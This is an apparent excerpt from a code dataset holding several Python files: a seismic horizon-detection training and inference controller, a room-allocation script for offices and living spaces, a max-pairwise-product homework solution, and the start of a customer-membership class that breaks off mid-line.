model_path=None, device=None,\n show_plots=False, save_dir=None, logger=None, bar=True):\n for key, value in locals().items():\n if key != 'self':\n setattr(self, key, value)\n\n self.targets, self.predictions = None, None\n self.model_pipeline = None\n self.make_logger()\n\n # Utility functions\n def make_pbar(self, iterator, ncols=800, **kwargs):\n \"\"\" Wrap supplied iterator with progress bar. \"\"\"\n if self.bar:\n return tqdm(iterator, total=len(iterator), ncols=ncols, **kwargs)\n return iterator\n\n def make_save_path(self, *postfix):\n \"\"\" Create nested path from provided strings; create corresponding directories.\n\n If `save_dir` attribute is None, then None is returned: that is used as signal to omit saving\n of, for example, metric map images, etc.\n \"\"\"\n if self.save_dir is not None:\n path = os.path.join(self.save_dir, *postfix[:-1])\n os.makedirs(path, exist_ok=True)\n return os.path.join(self.save_dir, *postfix)\n return None\n\n def make_logger(self):\n \"\"\" Create logger inside `save_dir`.\n\n Note that logging is important.\n \"\"\"\n #pylint: disable=access-member-before-definition\n if self.logger is None and self.save_dir is not None:\n handler = logging.FileHandler(self.make_save_path('controller.log'), mode='w')\n handler.setFormatter(logging.Formatter('%(asctime)s %(message)s'))\n\n logger = logging.getLogger('controller_logger')\n logger.setLevel(logging.INFO)\n logger.addHandler(handler)\n self.logger = logger.info\n\n def log(self, msg):\n \"\"\" Log supplied message. \"\"\"\n if self.logger is not None:\n process = psutil.Process(os.getpid())\n uss = process.memory_full_info().uss / (1024 ** 3)\n self.logger(f'{self.__class__.__name__} ::: {uss:2.4f} ::: {msg}')\n\n # Dataset creation: geometries, labels, grids, samplers\n def make_dataset(self, cube_paths, horizon_paths=None):\n \"\"\" Create an instance of :class:`.SeismicCubeset` with cubes and horizons.\n\n Parameters\n ----------\n cube_paths : sequence or str\n Cube path(s) to load into dataset.\n horizon_paths : dict or str\n Horizons for each cube. Either a mapping from cube name to paths, or path only (if only one cube is used).\n\n Logs\n ----\n Inferred cubes and horizons for them.\n\n Returns\n -------\n Instance of dataset.\n \"\"\"\n cube_paths = cube_paths if isinstance(cube_paths, (tuple, list)) else [cube_paths]\n\n dsi = FilesIndex(path=cube_paths, no_ext=True)\n dataset = SeismicCubeset(dsi)\n\n dataset.load_geometries()\n\n if horizon_paths:\n if isinstance(horizon_paths, str):\n horizon_paths = {dataset.indices[0]: glob(horizon_paths)}\n dataset.create_labels(horizon_paths)\n\n msg = '\\n'\n for idx in dataset.indices:\n msg += f'{idx}\\n'\n for hor in dataset.labels[idx]:\n msg += f' {hor.name}'\n self.log(f'Created dataset ::: {msg}')\n return dataset\n\n def make_dataset_from_horizon(self, horizon):\n \"\"\" Create an instance of :class:`.SeismicCubeset` from a given horizon.\n\n Parameters\n ----------\n horizon : instance of :class:`.Horizon`\n Horizon for the inferred cube.\n \"\"\"\n cube_path = horizon.geometry.path\n\n dsi = FilesIndex(path=[cube_path], no_ext=True)\n dataset = SeismicCubeset(dsi)\n dataset.geometries[dataset.indices[0]] = horizon.geometry\n dataset.labels[dataset.indices[0]] = [horizon]\n\n self.log(f'Created dataset from horizon {horizon.name}')\n return dataset\n\n\n def make_grid(self, dataset, frequencies, **kwargs):\n \"\"\" Create a grid, based on quality map, for each of the cubes in supplied `dataset`.\n Works inplace.\n\n Parameters\n ----------\n dataset : :class:`.SeismicCubeset`\n Dataset with cubes.\n frequencies : sequence of ints\n List of frequencies, corresponding to `easy` and `hard` places in the cube.\n kwargs : dict\n Other arguments, passed directly in quality grid creation function.\n\n Logs\n ----\n Grid coverage: ratio of the number of points inside the grid to the total number of non-bad traces in cube.\n\n Plots\n -----\n Map with quality grid.\n \"\"\"\n grid_coverages = []\n for idx in dataset.indices:\n geometry = dataset.geometries[idx]\n geometry.make_quality_grid(frequencies, **kwargs)\n plot_image(\n geometry.quality_grid, title='quality grid',\n cmap='Reds', interpolation='bilinear', show=self.show_plots,\n savepath=self.make_save_path(f'quality_grid_{idx}.png')\n )\n\n grid_coverage = (np.nansum(geometry.quality_grid) /\n (np.prod(geometry.cube_shape[:2]) - np.nansum(geometry.zero_traces)))\n self.log(f'Created grid on {idx}; coverage is: {grid_coverage}')\n grid_coverages.append(grid_coverage)\n return grid_coverages\n\n\n def make_sampler(self, dataset, bins=None, use_grid=False, grid_src='quality_grid', side_view=False, **kwargs):\n \"\"\" Create sampler. Works inplace.\n\n Plots\n -----\n Maps with examples of sampled slices of `crop_shape` size, both normalized and not.\n \"\"\"\n if use_grid:\n grid = getattr(dataset.geometries[0], grid_src) if isinstance(grid_src, str) else grid_src\n else:\n grid = None\n\n dataset.create_sampler(quality_grid=grid, bins=bins)\n dataset.modify_sampler('train_sampler', finish=True, **kwargs)\n dataset.train_sampler(random.randint(0, 100000))\n self.log('Created sampler')\n\n # Cleanup\n dataset.sampler = None\n\n for i, idx in enumerate(dataset.indices):\n dataset.show_slices(\n src_sampler='train_sampler', normalize=False, shape=self.crop_shape,\n idx=i, adaptive_slices=use_grid, grid_src=grid_src, side_view=side_view,\n cmap='Reds', interpolation='bilinear', show=self.show_plots, figsize=(15, 15),\n savepath=self.make_save_path(f'slices_{idx}.png')\n )\n\n dataset.show_slices(\n src_sampler='train_sampler', normalize=True, shape=self.crop_shape,\n idx=i, adaptive_slices=use_grid, grid_src=grid_src, side_view=side_view,\n cmap='Reds', interpolation='bilinear', show=self.show_plots, figsize=(15, 15),\n savepath=self.make_save_path(f'slices_n_{idx}.png')\n )\n\n # Train model on a created dataset\n def train(self, dataset, model_config=None, device=None, n_iters=300, prefetch=1,\n use_grid=False, grid_src='quality_grid', side_view=False,\n width=3, batch_size_multiplier=1, rebatch_threshold=0.00, **kwargs):\n \"\"\" Train model for horizon detection.\n If `model_path` was supplied during instance initialization, model is loaded instead.\n\n In order to change architecture of the model, pass different `model_config` to the instance initialization.\n In order to change training procedure, re-define :meth:`.get_train_template`.\n\n Parameters\n ----------\n n_iters : int\n Number of iterations to train for.\n use_grid : bool\n Whether to sample crops only from `quality_grid`.\n side_view : bool or float\n If False, then has no effect.\n If float, then probability of crop being sampled along `x` axis instead of regular `i`-axis sampling.\n If True, then the same as 0.5.\n\n Logs\n ----\n Start of training; end of training; average loss at the last 50 iterations.\n\n Plots\n -----\n Graph of loss over iterations.\n \"\"\"\n model_config = model_config or self.model_config\n device = device or self.device\n\n # Prepare parameters\n self.log('Train started')\n pipeline_config = {\n 'model_config': {**model_config, 'device': device},\n 'crop_shape': self.crop_shape,\n 'adaptive_slices': use_grid, 'grid_src': grid_src,\n 'side_view': side_view,\n 'width': width,\n 'rebatch_threshold': rebatch_threshold,\n **kwargs\n }\n\n # Test batch: get statistics and time separately\n bs = self.batch_size\n self.batch_size = int(self.batch_size * batch_size_multiplier)\n model_pipeline = (self.get_train_template(**kwargs) << pipeline_config) << dataset\n batch = model_pipeline.next_batch(D('size'))\n self.log(f'Used batch size is: {self.batch_size}; actual batch size is: {len(batch)}')\n self.log(f'Cache sizes: {[item.cache_size for item in dataset.geometries.values()]}')\n self.log(f'Cache lengths: {[item.cache_length for item in dataset.geometries.values()]}')\n self.batch_size = bs\n\n # Run training procedure\n start_time = perf_counter()\n self.log(f'Prefetch is: {prefetch}')\n model_pipeline.run(D('size'), n_iters=n_iters + np.random.randint(100),\n bar={'bar': 'n' if self.bar else False, 'monitors': 'loss_history'},\n prefetch=prefetch)\n plot_loss(model_pipeline.v('loss_history'), show=self.show_plots,\n savepath=self.make_save_path('model_loss.png'))\n self.train_time = perf_counter() - start_time\n\n # Log stats and store model\n self.model_pipeline = model_pipeline\n last_loss = np.mean(model_pipeline.v('loss_history')[-50:])\n self.log(f'Train finished in {self.train_time:4.1f}; last loss is {last_loss:4.4f}')\n self.log(f'Cache sizes: {[item.cache_size for item in dataset.geometries.values()]}')\n self.log(f'Cache lengths: {[item.cache_length for item in dataset.geometries.values()]}')\n\n # Cleanup\n torch.cuda.empty_cache()\n self.model_pipeline.reset('variables')\n batch.images, batch.masks = None, None\n for item in dataset.geometries.values():\n item.reset_cache()\n return last_loss\n\n def load_model(self, path=None):\n \"\"\" Load pre-trained model from disk. \"\"\"\n path = path or self.model_path\n raise NotImplementedError('Yet to be implemented!')\n\n # Inference on a chosen set of data\n def inference(self, dataset, version=1, orientation='i', overlap_factor=2, heights_range=None,\n batch_size_multiplier=1, **kwargs):\n \"\"\" Make inference with trained/loaded model on supplied dataset.\n Works by splitting the into `crop_shape` chunks, making predict for each of them,\n then aggregating into one horizon.\n\n Parameters\n ----------\n version : int\n How to do splitting:\n If 0, then cube is split into chunks of `crop_shape` size,\n model is used to create predictions for each of them,\n then chunks are aggregated into huge 3D array, from which the horizon surface is extracted.\n This approach is fast but very memory intensive: it is advised to use it only on small (<10GB) cubes.\n\n If 1, then cube is split into `big` chunks, each of them is split again into `crop_shape` pieces,\n model is used to create predictions for the latter,\n which are aggregated into 3D array of `big` chunks size, from which the horizon surfaces are extracted.\n At last, all of the horizons are merged into one.\n This approach is a tad slower, yet allows for finer memory control by controlling how big `big` chunks are.\n Additional parameters are:\n chunk_size : int\n Size of `big` chunks along smallest dimension.\n chunk_overlap : float\n Overlap percentage of successive chunks. Must be in 0, 1 range.\n\n orientation : {'i', 'x', 'ix'}\n Orientation of the inference:\n If 'i', then cube is split into inline-oriented slices.\n If 'x', then cube is split into crossline-oriented slices.\n If 'ix', then both of previous approaches applied, and results are merged.\n overlap_factor : number\n Overlapping ratio of successive crops. Can be seen as `how many crops would cross every through point`.\n heights_range : None or sequence of two ints\n If None, then heights are inffered: from minimum of heights of all horizons in dataset to the maximum.\n If sequence of two ints, heights to inference on.\n\n Logs\n ----\n Inference start along with its parameters; inference end along with the number of predicted horizons,\n total amount of predicted points and size of the biggest horizon.\n \"\"\"\n self.log(f'Starting {orientation} inference_{version} with overlap of {overlap_factor}')\n self.targets = dataset.labels[0]\n method = getattr(self, f'inference_{version}')\n\n bs = self.batch_size\n self.batch_size = int(self.batch_size * batch_size_multiplier)\n\n start_time = perf_counter()\n if len(orientation) == 1:\n horizons = method(dataset, orientation=orientation, overlap_factor=overlap_factor,\n heights_range=heights_range, **kwargs)\n else:\n horizons_i = method(dataset, orientation='i', overlap_factor=overlap_factor,\n heights_range=heights_range, **kwargs)\n self.log('Done i-inference')\n\n horizons_x = method(dataset, orientation='x', overlap_factor=overlap_factor,\n heights_range=heights_range, **kwargs)\n self.log('Done x-inference')\n\n horizons = Horizon.merge_list(horizons_i + horizons_x, minsize=1000)\n self.inference_time = perf_counter() - start_time\n self.log(f'Inference done in {self.inference_time:4.1f}')\n\n # Log some results\n if horizons:\n horizons.sort(key=len, reverse=True)\n self.log(f'Num of predicted horizons: {len(horizons)}')\n self.log(f'Total number of points in all of the horizons {sum(len(item) for item in horizons)}')\n self.log(f'Len max: {len(horizons[0])}')\n else:\n self.log('Zero horizons were predicted; possible problems..?')\n\n self.predictions = horizons\n self.batch_size = bs\n torch.cuda.empty_cache()\n\n def make_inference_ranges(self, dataset, heights_range):\n \"\"\" Ranges of inference. \"\"\"\n geometry = dataset.geometries[0]\n spatial_ranges = [[0, item-1] for item in geometry.cube_shape[:2]]\n if heights_range is None:\n if self.targets:\n min_height = max(0,\n min(horizon.h_min for horizon in self.targets) - self.crop_shape[2]//2)\n max_height = min(geometry.depth,\n max(horizon.h_max for horizon in self.targets) + self.crop_shape[2]//2)\n heights_range = [min_height, max_height]\n else:\n heights_range = [0, geometry.depth-1]\n return spatial_ranges, heights_range\n\n def make_inference_config(self, orientation):\n \"\"\" Parameters depending on orientation. \"\"\"\n config = {'model_pipeline': self.model_pipeline}\n if orientation == 'i':\n crop_shape_grid = self.crop_shape\n config['side_view'] = False\n config['order'] = (0, 1, 2)\n else:\n crop_shape_grid = np.array(self.crop_shape)[[1, 0, 2]]\n config['side_view'] = 1.0\n config['order'] = (1, 0, 2)\n return config, crop_shape_grid\n\n\n def inference_0(self, dataset, heights_range=None, orientation='i', overlap_factor=2,\n filtering_matrix=None, filter_threshold=0, prefetch=1, **kwargs):\n \"\"\" Inference on chunks, assemble into massive 3D array, extract horizon surface. \"\"\"\n _ = kwargs\n spatial_ranges, heights_range = self.make_inference_ranges(dataset, heights_range)\n config, crop_shape_grid = self.make_inference_config(orientation)\n\n # Actual inference\n horizons = self._inference_chunk(dataset=dataset, ranges=(*spatial_ranges, heights_range),\n pipeline_config=config, crop_shape=crop_shape_grid,\n overlap_factor=overlap_factor, filtering_matrix=filtering_matrix,\n filter_threshold=filter_threshold, prefetch=prefetch)\n\n # Log memory usage info and clean up\n self.log(f'Cache sizes: {[item.cache_size for item in dataset.geometries.values()]}')\n self.log(f'Cache lengths: {[item.cache_length for item in dataset.geometries.values()]}')\n total_length = dataset.grid_info['length']\n total_unfiltered_length = dataset.grid_info['unfiltered_length']\n self.log(f'Inferenced total of {total_length} out of {total_unfiltered_length} crops possible')\n\n for item in dataset.geometries.values():\n item.reset_cache()\n gc.collect()\n return horizons\n\n def inference_1(self, dataset, heights_range=None, orientation='i', overlap_factor=2, prefetch=1,\n chunk_size=100, chunk_overlap=0.2, filtering_matrix=None, filter_threshold=0, **kwargs):\n \"\"\" Split area for inference into `big` chunks, inference on each of them, merge results. \"\"\"\n _ = kwargs\n geometry = dataset.geometries[0]\n spatial_ranges, heights_range = self.make_inference_ranges(dataset, heights_range)\n config, crop_shape_grid = self.make_inference_config(orientation)\n\n # Actual inference\n axis = np.argmin(crop_shape_grid[:2])\n iterator = range(spatial_ranges[axis][0], spatial_ranges[axis][1], int(chunk_size*(1 - chunk_overlap)))\n self.log(f'Starting chunk {orientation} inference with {len(iterator)} chunks ' +\n f'over {spatial_ranges}, {heights_range}')\n\n horizons = []\n total_length, total_unfiltered_length = 0, 0\n for chunk in self.make_pbar(iterator, desc=f'Inference on {geometry.name}| {orientation}'):\n current_spatial_ranges = copy(spatial_ranges)\n current_spatial_ranges[axis] = [chunk, min(chunk + chunk_size, spatial_ranges[axis][-1])]\n\n chunk_horizons = self._inference_chunk(dataset=dataset, ranges=(*current_spatial_ranges, heights_range),\n pipeline_config=config, crop_shape=crop_shape_grid,\n overlap_factor=overlap_factor, filtering_matrix=filtering_matrix,\n filter_threshold=filter_threshold, prefetch=prefetch)\n horizons.extend(chunk_horizons)\n\n total_length += dataset.grid_info['length']\n total_unfiltered_length += dataset.grid_info['unfiltered_length']\n\n # Log and cleanup\n self.log(f'Cache sizes: {[item.cache_size for item in dataset.geometries.values()]}')\n self.log(f'Cache lengths: {[item.cache_length for item in dataset.geometries.values()]}')\n self.log(f'Inferenced total of {total_length} out of {total_unfiltered_length} crops possible')\n for item in dataset.geometries.values():\n item.reset_cache()\n gc.collect()\n\n return Horizon.merge_list(horizons, mean_threshold=5.5, adjacency=3, minsize=500)\n\n\n def _inference_chunk(self, dataset, ranges, pipeline_config, crop_shape,\n overlap_factor, filtering_matrix, filter_threshold, prefetch):\n \"\"\" Inference on a chunk of cube, parametrized by `ranges`. \"\"\"\n dataset.make_grid(dataset.indices[0], crop_shape,\n *ranges,\n batch_size=self.batch_size,\n overlap_factor=overlap_factor,\n filtering_matrix=filtering_matrix,\n filter_threshold=filter_threshold)\n\n inference_pipeline = (self.get_inference_template() << pipeline_config) << dataset\n\n predicted_crops = []\n for _ in range(dataset.grid_iters):\n batch = inference_pipeline.next_batch(D('size'))\n predicted_crops.extend(item for item in batch.predictions)\n\n # Assemble crops together in accordance to the created grid\n assembled_pred = dataset.assemble_crops(predicted_crops, order=pipeline_config.get('order'))\n\n # Extract Horizon instances\n chunk_horizons = Horizon.from_mask(assembled_pred, dataset.grid_info, threshold=0.5, minsize=50)\n\n # Cleanup\n inference_pipeline.reset('variables')\n inference_pipeline = None\n gc.collect()\n return chunk_horizons\n\n\n def evaluate(self, n=5, add_prefix=False, dump=False, supports=50, name=''):\n \"\"\" Assess quality of predictions, created by :meth:`.inference`, against targets and seismic data.\n\n Parameters\n ----------\n n : int\n Number of the best horizons to evaluate.\n add_prefix : bool\n Whether to add add prefix to created images and other files.\n dump : bool\n Whether to store horizons on disk.\n supports : int\n Number of support traces for metric computation.\n\n Logs\n ----\n Basic stats like coverage, size, number of holes.\n If targets are provided, adds `window_rate` and mean difference.\n\n Plots\n -----\n Maps of computed metrics: correlation, local correlation.\n If targets are provided, also l1 differences.\n \"\"\"\n #pylint: disable=cell-var-from-loop, invalid-name, protected-access\n results = []\n for i in range(n):\n info = {}\n horizon = self.predictions[i]\n horizon._horizon_metrics = None\n hm = HorizonMetrics((horizon, self.targets))\n prefix = [horizon.geometry.short_name, f'{i}_horizon'] if add_prefix else []\n\n # Basic demo: depth map and properties\n horizon.show(show=self.show_plots,\n savepath=self.make_save_path(*prefix, name + 'horizon_img.png'))\n\n with open(self.make_save_path(*prefix, name + 'self_results.txt'), 'w') as result_txt:\n horizon.evaluate(compute_metric=False, printer=lambda msg: print(msg, file=result_txt))\n\n # Metric maps\n corrs = hm.evaluate(\n 'support_corrs',\n supports=supports,\n plot=True, show=self.show_plots,\n savepath=self.make_save_path(*prefix, name + 'corrs.png')\n )\n\n phase = hm.evaluate(\n 'instantaneous_phase',\n plot=True, show=self.show_plots,\n savepath=self.make_save_path(*prefix, name + 'instantaneous_phase.png')\n )\n\n perturbed_mean, perturbed_max = hm.evaluate(\n 'perturbed',\n plot=True, show=self.show_plots, device='gpu',\n savepath=self.make_save_path(*prefix, name + 'perturbed.png')\n )\n\n # Compare to targets\n if self.targets:\n _, oinfo = hm.evaluate('find_best_match', agg=None)\n info = {**info, **oinfo}\n\n with open(self.make_save_path(*prefix, name + 'results.txt'), 'w') as result_txt:\n hm.evaluate(\n 'compare', agg=None, hist=False,\n plot=True, show=self.show_plots,\n printer=lambda msg: print(msg, file=result_txt),\n savepath=self.make_save_path(*prefix, name + 'l1.png')\n )\n self.log(f'horizon {i}: wr {info[\"window_rate\"]}, mean {info[\"mean\"]}')\n\n # Save surface to disk\n if dump:\n dump_name = name + '_' if name else ''\n dump_name += f'{i}_' if n > 1 else ''\n dump_name += horizon.name or 'predicted'\n horizon.dump(path=self.make_save_path(*prefix, dump_name), add_height=False)\n\n info['corrs'] = np.nanmean(corrs)\n info['phase'] = np.nanmean(np.abs(phase))\n info['perturbed_mean'] = np.nanmean(perturbed_mean)\n info['perturbed_max'] = np.nanmean(perturbed_max)\n results.append((info))\n\n self.log(f'horizon {i}: len {len(horizon)}, cov {horizon.coverage:4.4}, '\n f'corrs {info[\"corrs\"]:4.4}, phase {info[\"phase\"]:4.4}, depth {horizon.h_mean}')\n\n return results\n\n # Pipelines\n def load_pipeline(self, dynamic_factor=1, dynamic_low=None, dynamic_high=None, **kwargs):\n \"\"\" Define data loading pipeline.\n\n Following parameters are fetched from pipeline config: `adaptive_slices`, 'grid_src' and `rebatch_threshold`.\n \"\"\"\n _ = kwargs\n self.log(f'Generating data with dynamic factor of {dynamic_factor}')\n return (\n Pipeline()\n .init_variable('shape', None)\n .call(generate_shape, shape=C('crop_shape'),\n dynamic_factor=dynamic_factor, dynamic_low=dynamic_low, dynamic_high=dynamic_high,\n save_to=V('shape'))\n .make_locations(points=D('train_sampler')(self.batch_size),\n shape=V('shape'),\n side_view=C('side_view', default=False),\n adaptive_slices=C('adaptive_slices'),\n grid_src=C('grid_src', default='quality_grid'))\n\n .create_masks(dst='masks', width=C('width', default=3))\n .mask_rebatch(src='masks', threshold=C('rebatch_threshold', default=0.1))\n .load_cubes(dst='images')\n .adaptive_reshape(src=['images', 'masks'], shape=V('shape'))\n .normalize(mode='q', src='images')\n )\n\n def augmentation_pipeline(self, **kwargs):\n \"\"\" Define augmentation pipeline. \"\"\"\n _ = kwargs\n return (\n Pipeline()\n .transpose(src=['images', 'masks'], order=(1, 2, 0))\n .flip(axis=1, src=['images', 'masks'], seed=P(R('uniform', 0, 1)), p=0.3)\n .additive_noise(scale=0.005, src='images', dst='images', p=0.3)\n .rotate(angle=P(R('uniform', -15, 15)),\n src=['images', 'masks'], p=0.3)\n .scale_2d(scale=P(R('uniform', 0.85, 1.15)),\n src=['images', 'masks'], p=0.3)\n .elastic_transform(alpha=P(R('uniform', 35, 45)), sigma=P(R('uniform', 4, 4.5)),\n src=['images', 'masks'], p=0.2)\n .transpose(src=['images', 'masks'], order=(2, 0, 1))\n )\n\n def train_pipeline(self, **kwargs):\n \"\"\" Define model initialization and model training pipeline.\n\n Following parameters are fetched from pipeline config: `model_config`.\n \"\"\"\n _ = kwargs\n return (\n Pipeline()\n .init_variable('loss_history', [])\n .init_model('dynamic', EncoderDecoder, 'model', C('model_config'))\n\n .train_model('model',\n fetches='loss',\n images=B('images'),\n masks=B('masks'),\n save_to=V('loss_history', mode='a'))\n )\n\n def get_train_template(self, **kwargs):\n \"\"\" Define the whole training procedure pipeline including data loading, augmentation and model training. \"\"\"\n return (\n self.load_pipeline(**kwargs) +\n self.augmentation_pipeline(**kwargs) +\n self.train_pipeline(**kwargs)\n )\n\n\n def get_inference_template(self):\n \"\"\" Defines inference procedure.\n\n Following parameters are fetched from pipeline config: `model_pipeline`, `crop_shape`, `side_view` and `order`.\n \"\"\"\n inference_template = (\n Pipeline()\n # Initialize everything\n .import_model('model', C('model_pipeline'))\n\n # Load data\n .make_locations(points=D('grid_gen')(), shape=self.crop_shape,\n side_view=C('side_view', default=False))\n .load_cubes(dst='images')\n .adaptive_reshape(src='images', shape=self.crop_shape)\n .normalize(mode='q', src='images')\n\n # Predict with model, then aggregate\n .predict_model('model',\n B('images'),\n fetches='predictions',\n save_to=B('predictions'))\n )\n return inference_template\n\n\ndef generate_shape(_, shape, dynamic_factor=1, dynamic_low=None, dynamic_high=None):\n \"\"\" Dynamically generate shape of a crop to get. \"\"\"\n dynamic_low = dynamic_low or dynamic_factor\n dynamic_high = dynamic_high or dynamic_factor\n\n i, x, h = shape\n x_ = np.random.randint(x // dynamic_low, x * dynamic_high + 1)\n h_ = np.random.randint(h // dynamic_low, h * dynamic_high + 1)\n return (i, x_, h_)\n","sub_path":"seismiqb/src/controllers/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":31503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"422413697","text":"from objects.objects import Office, LivingSpace\nfrom random import choice\n\noffices = {'available': [], 'unavailable': []}\nliving_spaces = {'available': [], 'unavailable': []}\nrooms = []\nunallocated_persons = []\n\n# # Regarding allocations\nstaff_allocations = [] # Stores data(dict) fo randomly allocated office for staff\nfellow_allocations = [] # Stores data(dict) fo randomly allocated livingspace & office for fellow\nunallocated_persons = [] # Stores names for persons not allocated rooms due to capacity or choice for livingspaces\n\n\ndef create_room(room_type, room_name):\n # Creates room in Dojo && Creates Multiple rooms\n\n for single_room_name in room_name:\n if room_type.strip().lower() not in ['office', 'livingspace']:\n print('TypeError for room_type %s' % room_type.title())\n return 'TypeError for room_type'\n if len(single_room_name.strip()) == 0:\n print('Invalid room name %s' % room_type.title())\n return 'Invalid room name'\n if room_type.strip().lower() == 'office':\n if single_room_name in offices['available'] or single_room_name in offices['unavailable']:\n print('%s %s already exists' % (room_type.title(), single_room_name.title()))\n return 'duplicate'\n new_office = Office(single_room_name)\n offices['available'].append(new_office.name)\n rooms.append(new_office)\n print('%s has been created as %s' % (single_room_name.title(), room_type.title()))\n\n\n elif room_type.strip().lower() == 'livingspace':\n if single_room_name in living_spaces['available'] or single_room_name in living_spaces['unavailable']:\n print('%s %s already exists' % (room_type.title(), single_room_name.title()))\n return 'duplicate'\n new_livingspace = LivingSpace(single_room_name)\n living_spaces['available'].append(new_livingspace.name)\n rooms.append(new_livingspace)\n print('%s has been created as %s' %(single_room_name.title(), room_type.title()))\n\n\ndef add_person(person_name, person_type, wants_accommodation='n'):\n # random allocation\n # only a fellow can be allocated a living space\n # a staff can only be allocated an office\n if wants_accommodation is None:\n wants_accommodation = 'n'\n if person_type.strip().lower() not in ['staff', 'fellow']:\n print('Invalid Person Type')\n return 'Invalid Person Type'\n\n p_i = person_name.split()\n if not str(p_i[0]).isalpha() or not str(p_i[1]).isalpha():\n if isinstance(person_name, int):\n return ''\n else:\n print('Non-Alphabetical names added %s' % person_name)\n return 'Non-Alphabetical names added'\n if len(offices['available']) == 0 and len(living_spaces['available']) == 0:\n print('There are no rooms in the system.')\n\n if wants_accommodation.strip().lower() != 'y' and wants_accommodation.strip().lower() != 'n':\n print('Wants accommodation not Y or N')\n return 'Wants accommodation not Y or N'\n if person_type.strip().lower() == 'staff':\n staff_allocation = dict()\n staff_allocation[person_name] = choice(offices['available'])\n\n staff_allocations.append(staff_allocation)\n for room in rooms:\n if room.name == staff_allocation[person_name]:\n if room.capacity > 0:\n room.capacity -= 1\n room.occupants.append(person_name)\n else:\n offices['available'].remove(room.name)\n offices['unavailable'].append(room.name)\n unallocated_persons.append(person_name)\n print('%s %s has been successfully added \\n' % (person_type.title(), person_name.title()))\n person_office = staff_allocation[person_name]\n\n print('%s has been allocated the office %s \\n' % (person_name.title(), person_office.title()))\n\n elif person_type.strip().lower() == 'fellow':\n\n fellow_allocation = dict()\n fellow_allocation['name'] = person_name\n fellow_allocation['office'] = choice(offices['available'])\n fellow_allocations.append(fellow_allocation)\n for room in rooms:\n if room.name == fellow_allocation['office']:\n if room.capacity > 0:\n room.capacity -= 1\n room.occupants.append(person_name)\n else:\n offices['available'].remove(room.name)\n offices['unavailable'].append(room.name)\n unallocated_persons.append(person_name)\n person_office = fellow_allocation['office']\n print('%s %s has been successfully added \\n' % (person_type.title(), person_name.title()))\n print('%s has been allocated the office %s \\n' % (person_name.title(), person_office.title()))\n if wants_accommodation == 'y':\n if len(living_spaces['available']) == 0:\n print('Sorry there are no remaining livingspaces')\n unallocated_persons.append(person_name)\n else:\n fellow_allocation['living_space'] = choice(living_spaces['available'])\n for room in rooms:\n if room.name == fellow_allocation['living_space']:\n if room.capacity > 0:\n room.capacity -= 1\n room.occupants.append(person_name)\n else:\n living_spaces['available'].remove(room.name)\n living_spaces['unavailable'].append(room.name)\n unallocated_persons.append(person_name)\n fellow_allocations[-1] = fellow_allocation\n print('%s has been allocated the livingspace %s \\n' % (person_name.title(), fellow_allocation['living_space'].title()))\n\n\ndef print_room(room_name):\n # This function gets a room name as an argument and proceeds\n # to display the results on the occupants of the room if any\n if len(rooms) == 0:\n print('THERE ARE NO ROOMS IN THE SYSTEM YET. \\n')\n return 'No rooms exist at the moment.'\n all_rooms = []\n for room in rooms:\n all_rooms.append(room.name)\n if room_name not in all_rooms:\n print('The room %s does not exist on our system. \\n' % room_name.title())\n return 'Room does not exist.'\n\n for room in rooms:\n if room.name == room_name:\n print('ROOM NAME:%s(%s) \\n' % (room_name, room.type))\n print('=' * 20)\n if room.occupants:\n for occupant in room.occupants:\n print(occupant)\n else:\n print('This room is empty. \\n')\n return False\n\n\ndef print_allocations(filename):\n if len(rooms) == 0:\n print('THERE ARE NO ROOMS IN THE SYSTEM. \\n ')\n return 'Error. No rooms within system.'\n output_text = ''\n for room in rooms:\n output_text += '__' * 10\n output_text += '\\n'\n output_text += room.name.upper() + \" \" + room.type.upper()\n output_text += '\\n'\n output_text += '__' * 10\n output_text += '\\n'\n if room.occupants:\n for occupant in room.occupants:\n output_text += occupant.upper()\n output_text += '\\n'\n else:\n output_text += 'There are no people in %s yet.' % room.name.upper()\n output_text += '\\n'\n if filename:\n file = open(filename + '.txt', 'w')\n file.write(output_text)\n file.close()\n print('Printed to %s.txt' % filename.title())\n return 'Printed to file'\n else:\n print(output_text)\n return 'Printed to screen \\n'\n\n\ndef print_unallocated(filename):\n # '''\n # After Max capacity has been recorded in a particular\n # room, the person is thereafter appended to a the unallocated\n # persons list.\n # '''\n output_text = ''\n if not unallocated_persons:\n print('There are no unallocated people as of now. \\n')\n return 'No unallocated people as per now.'\n else:\n if filename is None:\n print('UNALLOCATED PEOPLE.')\n for unallocated in unallocated_persons:\n output_text += unallocated\n return 'Some people are unallocated. \\n'\n else:\n file = open(filename + '.txt', 'w')\n output_text += \"UNALLOCATED PEOPLE.\\n\"\n output_text += '\\n'\n for unallocated in unallocated_persons:\n output_text += unallocated.title()\n output_text += '\\n'\n file.write(output_text)\n file.close()\n print('Print out made to %s.txt \\n' % filename.title())\n\n\ndef load_people(file_name):\n fullname = None\n person_type = None\n wants_alloc = None\n \"\"\"Add people to rooms from a txt file\"\"\"\n with open(file_name + '.txt', 'r') as my_file:\n people = my_file.readlines()\n print_room(\"Started loading....\")\n for p in people:\n p = p.split()\n if len(p) > 0:\n if len(p) < 4:\n fullname = p[0].title() + ' ' + p[1].title()\n person_type = p[2]\n else:\n fullname = p[0].title() + ' ' + p[1].title()\n person_type = p[2]\n wants_alloc = p[3].lower()\n add_person(fullname, person_type, wants_alloc)\n print('DONE \\n')\n\n\ndef reallocate_person():\n pass\n","sub_path":"logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":9595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"487159900","text":"# python3\n#homework for week 1\n\ndef solution(NumberList):\n Sorted = sorted(NumberList)\n ans = Sorted[-2]*Sorted[-1]\n return ans\n\n\nif __name__ == \"__main__\":\n num = int(input())\n numberList=[]\n listType = input()\n numberList = [int(x) for x in listType.split()]\n print(solution(numberList))","sub_path":"Coursera-Data-Structure/DataStructure1_warmUp/max_pairwise_productSelf.py","file_name":"max_pairwise_productSelf.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"235946822","text":"import json\nimport csv\nclass Customer:\n def __init__(self, name, membership_type):\n self.name = name\n self.membership_type = membership_type\n print(name, membership_type)\n def upgrade_membership(self, new_membership):\n self.membership_type = new_membership\n\ncustomers = []\nmembership_types = [\"Bronze\", \"Silver\", \"Gold\", \"Platinum\", \"Diamond\"]\nfrom random import randrange\nnames = 